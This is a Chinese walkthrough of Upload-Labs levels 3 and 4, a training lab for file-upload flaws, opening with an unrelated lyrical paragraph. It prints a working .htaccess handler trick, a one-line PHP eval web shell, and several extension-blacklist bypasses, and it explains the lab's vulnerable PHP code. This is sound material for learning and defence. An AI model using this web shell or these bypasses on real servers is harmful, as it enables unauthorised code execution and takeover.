最后留在记忆深处的总是些虚无缥缈的东西,就像你记住一个人往往不是因为她的美,很多年后你连她的样子都忘记了,可偶然在人流如织的街头闻到她惯用的香水味,你在惊悚中下意识地回过头去,却只看见万千过客的背影。
黑盒测试
非客户端校验,并且修改contype后还是无法绕过,修改大小写无法绕过,修改文件名为m.pphphp后上传成功但是没办法解析….那试一试服务层的解析漏洞好了,目标为apache服务器。apache有两个解析漏洞(在第一篇文章有介绍)逐一试一试,上传m.php.rar.jpg发现不行,试一试上传.htaccess。
因为前面提示内容是:不允许上传.asp,.aspx,.php,.jsp后缀文件,试着上传htacess文件直接上传成功了,然后把木马m.php改成m.jpg,直接上传成功,然后直接执行成功…
.htaccess内容:
<FilesMatch "m.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
m.jpg内容:
<?php @eval($_GET['x']);?>
这一块中压根不用抓包修改数据,先上传.htaccess文件,包含m.jpg当作php代码执行,然后把木马直接改名成m.jpg,直接上传。推测之所以把木马直接修改成jpg后上传成功是因为代码层没有对木马的内容进行校验,对图片进行渲染,这一点在后面的文章会有提起。
白盒测试
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH. '/' . $_FILES['upload_file']['name'])) {
$img_path = UPLOAD_PATH .'/'. $_FILES['upload_file']['name'];
$is_upload = true;
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
如果上传文件夹路径不存在就提示创建文件夹,存在就执行下面的代码。
定义一个数组,包含4个黑名单文件就是禁止上传的文件asp,aspx,PHP,jsp。
然后获取文件名删除文件名末尾的点,在win下可以上传xx.php.这样的格式然后自动变成xx.php(详见第一篇文章),然后把文件名转换成小写,防止使用xx.PHp这样的大小写文件名绕过,然后把字符串::$DATA替换成空字符,再去除空字符。
经过上面一系列的套路,就没办法上传如下文件:
1. xxx.php.
2. xxx.pHP
3. xxx.php::$DATA
最后判断上传文件的后缀名是不是在定义的黑名单里,如果不在就允许上传。
突破方式就是利用apache的htaccess文件,让特定的文件以特定的方式运行。
Upload-Labs-4
4的上传方法与3一模一样,稍微的区别在于黑名单,4的黑名单大概有这么多:
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
然后毫无瓜葛啊,一样上传m.jpg和包含m.jpg执行php的htaccess文件即可。
如果代码层的过滤机制为黑名单机制的话,那么可以尝试使用大小写绕过。如果代码层使用删除匹配到黑名单的话,比如会把m.php的php删除,那么上传m.pphphp文件就可以绕过。